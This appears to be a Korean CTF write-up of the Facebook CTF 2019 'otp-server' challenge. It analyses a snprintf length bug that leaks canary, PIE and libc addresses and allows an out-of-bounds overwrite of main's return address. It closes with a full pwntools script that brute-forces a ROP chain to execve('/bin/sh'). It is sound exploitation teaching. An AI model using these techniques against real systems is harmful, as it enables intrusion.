일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 | 31 |
- RTL
- OOB
- DFS
- ROP
- 분할 정복
- 연결리스트
- House of Orange
- 이진트리
- 완전 탐색
- 에라토스테네스의 체
- 이진 탐색
- 큐
- 다이나믹 프로그래밍
- 스위핑 알고리즘
- 문자열 처리
- syscall
- tcache
- 스택
- heap
- 포맷스트링버그
- 수학
- off by one
- 이분 탐색
- 투 포인터
- fsb
- BFS
- 동적 계획법
- BOF
- 백트래킹
- 브루트 포스
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
facebook ctf 2019 - otp-server 본문
오랜만에 write-up을 쓰고자 한다.
오늘은 2019 facebook ctf - otp-server인데
먼저 보호기법부터 보자.
아름답다.
그럼 바로 바이너리를 분석하러 가보자.
main함수는 다음과 같이 생겼는데 하나씩 살펴보도록 하자.
1. sub_9E8
/dev/urandom에서 랜덤한 값을 꺼내온 다는 것 말고 중요한 점은 보이지 않는다.
sub_9E8속에 sub_9BA를 보면 설명을 해준다.
cipher( (4 byte nonce | message | 4 byte nonce) )방식이라고 한다.
2. sub_C4A ( 취약점 발생 함수 )
main함수에서 v4인자가 넘어온다.
IDA에서 함수의 이름을 내 입맛 대로 바꿔버린점 주의.
여기서는 두가지로 나뉘게 되는데
1번 -> Set key와
2번 -> Encrypt message로 나뉘게 된다.
각각 살펴보도록 하자.
1. SET_KEY()
별거 없다. DATA영역에 있는 char KEY[264]에 입력을 받는다.
시작 주소는 0x2021E0이다.
2. input_encrypt()
역시 별거 없다. DATA영역에 있는 char message[256]에 입력을 받는다.
시작 주소는 0x2020E0이다.
2-1. process() ( 중요 )
흐름은 다음과 같다.
먼저 랜덤한 값 X를 받아서
main함수에서 넘어온 배열 al의 맨 앞에 넣어준다.
현재 al의 상황 : [ X ( 4 byte ) ]
그 다음 snprintf로 *(a1+4)위치에 message를 붙여 넣는다.
snprintf의 반환 값을 v2가 받고 v5에 넣어준다.
현재 al의 상황 : [ X ( 4 byte ), message ( max : 256 byte ) ]
다음 *(a1 + v2 + 4) 위치에 다시 X를 넣는다.
현재 al의 상황 : [ X ( 4 byte ), message ( max : 256 byte ), X ( 4 byte ) ]
그 다음 xor_encrypt를 호출한다.
2-2 xor_encrypt()
간단하다
al[ X ( 4 byte ), message ( max : 256 byte ), X ( 4 byte ) ]을 우리가 SET_KEY()에서 입력한 KEY값으로 xor연산 시킨다.
2-3 sub_AE3()
xor한 다음 sub_AE3을 통해 encrypt_message를 출력한다.
이 때 인자는 sub_AE3(al, v5)로 v5는 아까 위에서 snprintf( ... )의 반환 값이다.
여기서 몇가지 지식을 잡고 가보자.
1. snprintf
먼저 snprintf의 원형은 다음과 같다.
1
|
int snprintf(char *str, size_t size, const char *format, ...);
|
그리고 IDA에서는 다음과 같이 사용한다.
이 때 반환값은 strlen(message)가 되는데,
중요한점은
DATA영역에서 message-KEY가 붙어있어서
만약 message가 꽉 차있다면 KEY길이까지 포함하여 반환하게 된다.
즉, 반환값을 받는 v2의 값이 달라질 수 있다.
사진과 같이 str에는 길이 17짜리 문자열이 있고
tmp[10]에 대해서 snprintf를 했을 때, 반환값은 str의 길이가 반환되는 것을 볼 수 있고, tmp배열에는 원하는 문자열만 들어간다.
snprintf의 반환값은 아마 인자들의 길이가 반환되는 것은 아닌지? 나중에 혼자 실험해봐야할듯
2. DATA영역의 구조
방금전에도 썼듯이
message와 KEY의 배열이 서로 붙어있다.
MESSAGE = 0x2020E0
KEY = 0x2021E0
KEY = "AAAA"가 있고,
MESSAGE에 "B"*256이 있다면
snprintf로 반환받는 값은 strlen("B"*256 + "AAAA")가 된다.
이 때 KEY의 최댓값은 264 byte로
KEY, MESSAGE 둘다 최대의 문자열을 주면 최대 520 byte 가까이 leak을 할 수 있다. ( 물론 여기서 0x108는 기본 배열의 값이다.)
520byte에서 0x108을 뺀다 하더라도 main함수의 al의 ret를 넘어 그 위의 값들도 leak을 할 수 있게 된다.
3. out of bound( OOB )
위에서 우리는 v2를 조작할 수 있다고 했다.
v2의 값에 따라 *(al+v2+4) = X를 한다 했는데,
v2를 조작하여 main함수의 ret를 조작할 수 있게 된다.
이론상 충분히 exploit할 수 있다.
이제 익스를 하러 가보자.
1. leak을 하자.
우리는 message와 key를 합쳐 약 520 byte에 가까운 값을 leak할 수 있다고 했다.
따라서 message와 key의 값을 가득가득 채워 보내주자.
사진에서 보이는 것과 같이
canary, libc, PIE의 값들이 보인다.
저걸 주워다가 야무지게 써보자.
2. main함수의 ret를 덮어 써보자 - 1
먼저 main함수의 ret를 덮기 위해 ret의 인덱스를 찾아볼 필요가 있다.
먼저 우리는 *(al + v2 + 4) = X로 덮어 쓴다는 것을 알고,
main함수에서 al 은 [sfp-0x110]의 위치에 있다.
즉, v2+4가 0x118( sfp의 0x8 포함)가 되어야지 ret가 덮어쓸 수 있다는 의미이다.
따라서 v2는 0x114이상이 되어야하고,
message+key의 구조에서 message[0x100 byte] + key[0x108 byte]이므로
key는 최소 0x14이상이 되어야 ret를 덮을 수 있다.
3. 본격적으로 덮어보자!
우리는 libc를 안다!
따라서 원가젯 역시 구할 수 있다.
하지만 원가젯은 말을 듣지 않는다.
따라서 execve('/bin/sh', 0, 0)을 실행시키기 위한 가젯들을 모아야한다.
이때 *(al + alpha) = X라 할 때, (구체적으로 X = 0x12345678이라 하자)
al의 배열의 보면 다음과 같이 들어간다.
[0x78] [0x56] [0x34] [0x12]
al al+1 al+2 al+3
( 우분투에서 ret는 little endian형식으로 출력된다...? )
그리고 바이너리에서 encrypt_message 출력 역시 이 순서대로 \x78\x56\x34\x12로 나오므로 만약 ret[0]를 덮고 싶을 때, al[0] ( \x78 ) 이 우리가 덮고 싶은 가젯의 byte가 맞는지 확인하면 된다.
그러므로 (leak된 값의 맨 처음 ^ key[i] == (주고싶은 가젯 >> 8*i) & 0xff ) 식으로 맞춰가면서 bruteforce를 하다보면 언젠간 ret가 덮히게 될 것이다.
요약
1. leak을 하자
2. ret를 덮는다
2-1. onegadget으로 덮는다.
2-2. ROP script를 직접 구해서 ret를 덮어간다.
3. exploit!
어째 one_gadget이 실행이 안된다..
exploit_code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
from pwn import *
p = process('./otp_server')
def choice(idx):
p.sendafter(">>> ", str(idx))
def set_key(data): #max 0x108 264
choice(1)
p.sendafter("key:", str(data))
def ENCRYPT(message): #max 0x100 256
choice(2)
p.sendafter(":", str(message))
set_key('A'*0x108)
ENCRYPT('A'*0x100)
p.recvuntil("-----\n")
p.recvuntil('A')
canary = u64(p.recv(8))
print "canary : " + hex(canary)
PIE_base = u64(p.recv(8))-0xdd0
print "PIE_base : " + hex(PIE_base)
leak = u64(p.recv(8))
print "leak : " + hex(leak)
libc_base = leak - 133168
print "libc_base : " + hex(libc_base)
pop_rax_rdx_rbx = libc_base + 3976542
pop_rdi = PIE_base+0xe33
pop_rsi_r15 = PIE_base + 0xe31
syscall = libc_base + 3976147
libc_bin_sh = libc_base + 0x18cd57
#one = [0x4f2c5, 0x4f322, 0x10a38c] # 2.27
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147] #2.23
one_gadget = libc_base + one[3]
script = [
pop_rdi,
libc_bin_sh,
pop_rax_rdx_rbx,
59,
0,
0,
pop_rsi_r15,
0,
0,
syscall
]
for j in range(10):
for i in range(8):
loop = 1
while loop:
set_key('a'*(0x14+8*j+i)+'\x00')
ENCRYPT('a'*256) # max
p.recvuntil('-----\n')
tmp = ord(p.recv(1))
tmp ^= ord('a')
if (script[j] >> 8*i) & 0xff == tmp:
print "[*] tmp : " + str(hex(tmp))
loop = 0
p.sendlineafter(">>> ", '3')
p.interactive()
|
nice
// 이번 문제를 풀면서
1. snprintf 특성
2. char 배열에 (DWORD *)형식의 숫자가 들어갈 경우 들어가는 방향?
(예를들어 char tmp[30]에서 *tmp = 0x13425835같이 입력할 경우 출력을 할 때 어떻게 보이는지, gdb로는 어떻게 보이는지 강제 형변환에 대한 이해)
3. bruteforce 코딩
에 대해 깨우쳐버렸다.
'write-up > pwnable' 카테고리의 다른 글
HCTF 2019 - rop (0) | 2019.11.21 |
---|---|
BackdoorCTF 2019 - babytcache (0) | 2019.11.12 |
HSCTF 2019 - aria writer v3 (0) | 2019.10.08 |
HSCTF 2019 - Aria writer (0) | 2019.10.08 |
PwnThybytes 2019 - babyfactory (0) | 2019.10.07 |